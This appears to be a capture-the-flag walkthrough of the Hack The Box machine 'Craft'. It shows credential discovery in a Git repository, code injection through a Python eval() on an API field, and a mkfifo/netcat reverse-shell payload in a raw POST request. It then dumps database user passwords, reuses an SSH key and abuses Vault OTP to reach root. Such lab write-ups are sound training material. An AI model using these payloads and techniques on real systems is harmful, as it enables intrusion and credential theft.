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  1. nmap -Pn -sC -sV -n 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) 443/tcp open ssl/http nginx 1.15.8 6022/tcp open x11

  2. Access HTTPS and look around, notice that gogs.craft.htb and api.craft.htb is not reachable (icons in top right corner of the page). Add the URLs in /etc/hosts: gogs.craft.htb api.craft.htb

  3. Look around on gogs.craft.htb and you can find a test script by Dinesh, containing his username and password (dinesh:4aUh0A8PbVJxgd) https://gogs.craft.htb/Craft/craft-api/commit/10e3ba4f0a09c778d7cec673f28d410b73455a86

    Using these credentials we can get a token from the API (https://api.craft.htb/api/) or using curl. API: https://api.craft.htb/api/

    CURL: curl -k -u dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login {“token”:”eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcwNjA5ODM0fQ.WRjbAWd7WEpOhoL34hSlGmA92c2bCtYmboNKPG1Oie8”}

  4. With the credentials and token, we now have a way to POST/PUT information onto the server, now we need to find a way to exploit this. Login as Dinesh on gogs.craft.htb, add your SSH-key and download the repository. Looking through the files we can find the Source Code for brew.py. Looking through brew.py we can find that they use a eval-function for input validation of ‘abv’, this makes it vulnerable for Code Injection.

    NOTE: You don’t need to download the files, they can also be viewed directly on gogs.craft.htb, but I think it’s easier to download

    make sure the ABV value is sane.

    if eval(‘%s > 1’ % request.json[‘abv’]): return “ABV must be a decimal value less than 1.0”, 400 else: create_brew(request.json) return None, 201

  5. Exploit the abv eval-function. Start netcat and send a POST through the API. Capture it in burp and edit the request by adding a valid token (created by Dinesh) and inject desired code in the abv-field.

    POST /api/brew/ HTTP/1.1 Host: api.craft.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://api.craft.htb/api/ content-type: application/json origin: https://api.craft.htb Content-Length: 96 Connection: close X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTcxMTMzMDkwfQ.m2NfNIDs-bqUcuqRzYXITIQ5lWXHtENnijqLiIcMgMQ

    { “id”: 2352, “brewer”: “string”, “name”: “string”, “style”: “string”, “abv”: “import(‘os’).system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4488 >/tmp/f’)” }

    root@p3:/opt/htb/machines/craft# nc -lvnp 4488 listening on [any] 4488 … connect to [] from (UNKNOWN) [] 42163 /bin/sh: can’t access tty; job control turned off /opt/app #

  6. At first glance you are user root, but you can’t access any flags, seems like we are in a docker and need to break out. Looking through the scripts and .gitignore there are a lot of references to settings.py, looking in that file we find a db user and password. (craft:qLGockJ6G2J75O) The script dbtest.py calls settings.py to get information from the database brew. In craft_api/api/database/models.py we can find a second database, User. Download dbtest.py and edit to call user database. Notice that we also need to change result from cursor.fetchone() to cursor.fetchall() to get all info within the database.

    root@p3:/opt/htb/machines/craft/craft-api# cat exp-db.py #!/usr/bin/env python

    import pymysql from craft_api import settings

    # test connection to mysql database

    connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor)

    try: with connection.cursor() as cursor: sql = “SELECT id, username, password FROM user” cursor.execute(sql) result = cursor.fetchall() print(result)

    finally: connection.close()

root@p3:/opt/htb/machines/craft/craft-api# python3 -m http.server 8888

/opt/app # wget Connecting to ( exp-db.py 100% |************| 664 0:00:00 ETA

/opt/app # chmod +x exp-db.py /opt/app # python exp-db.py [{‘id’: 1, ‘username’: ‘dinesh’, ‘password’: ‘4aUh0A8PbVJxgd’}, {‘id’: 4, ‘username’: ‘ebachman’, ‘password’: ‘llJ77D8QFkLPQB’}, {‘id’: 5, ‘username’: ‘gilfoyle’, ‘password’: ‘ZEU3N8WNM2rh4T’}]

  1. Gilfoyle reuses his credentials for gogs.craft.htb, login to his account and you’ll find his public and private SSH-keys. Download the private key, give it chmod 600, and SSH with same creds again.

    root@p3:/opt/htb/machines/craft# ssh gilfoyle@ -i id_rsa-gilf

    . * .. . * *

      • @()Ooc()* o . (Q@0CGO() _ |___/|/ _
        | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | _| | | | | | |_/ |_|||/| ______/

    Enter passphrase for key ‘id_rsa-gilf’: Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

    The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Oct 14 07:18:13 2019 from gilfoyle@craft:~$

  2. Grab user-flag. gilfoyle@craft:~$ cat /home/gilfoyle/user.txt bbf4**********


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  1. Login with Gilfoyle’s creds on gogs.craft.htb, in the repo craft-infra you’ll find a folder named vault and within it secrets.sh Vault is used to provide one-time passwords (OTP) for SSH login, I google’d ‘vault ssh’ and the first link I found explains how to request a OTP. https://learn.hashicorp.com/vault/secrets-management/sm-ssh-otp#step-3-request-an-otp

    In their example they write: vault write ssh/creds/otp_key_role ip=

    Trying this gives us an error: * Role “otp_key_role” not found Looking at secrets.sh we find that the ‘vault write’-string ends with root_otp, lets try that instead: gilfoyle@craft:~$ vault write ssh/creds/root_otp ip= Key Value — —– lease_id ssh/creds/root_otp/bdbe45d6-24b0-6a02-8534-d37bbb3f54c5 lease_duration 768h lease_renewable false ip key 1762e6a1-f975-61f8-814e-f7d65a2a1f51 key_type otp port 22 username root

    NOTE: The key value is the OTP to use during SSH authentication.

  2. SSH with the OTP-creds generated and grab root.txt. root@p3:/opt/htb/machines/craft# ssh root@ root@craft:~# cat root.txt 831d**********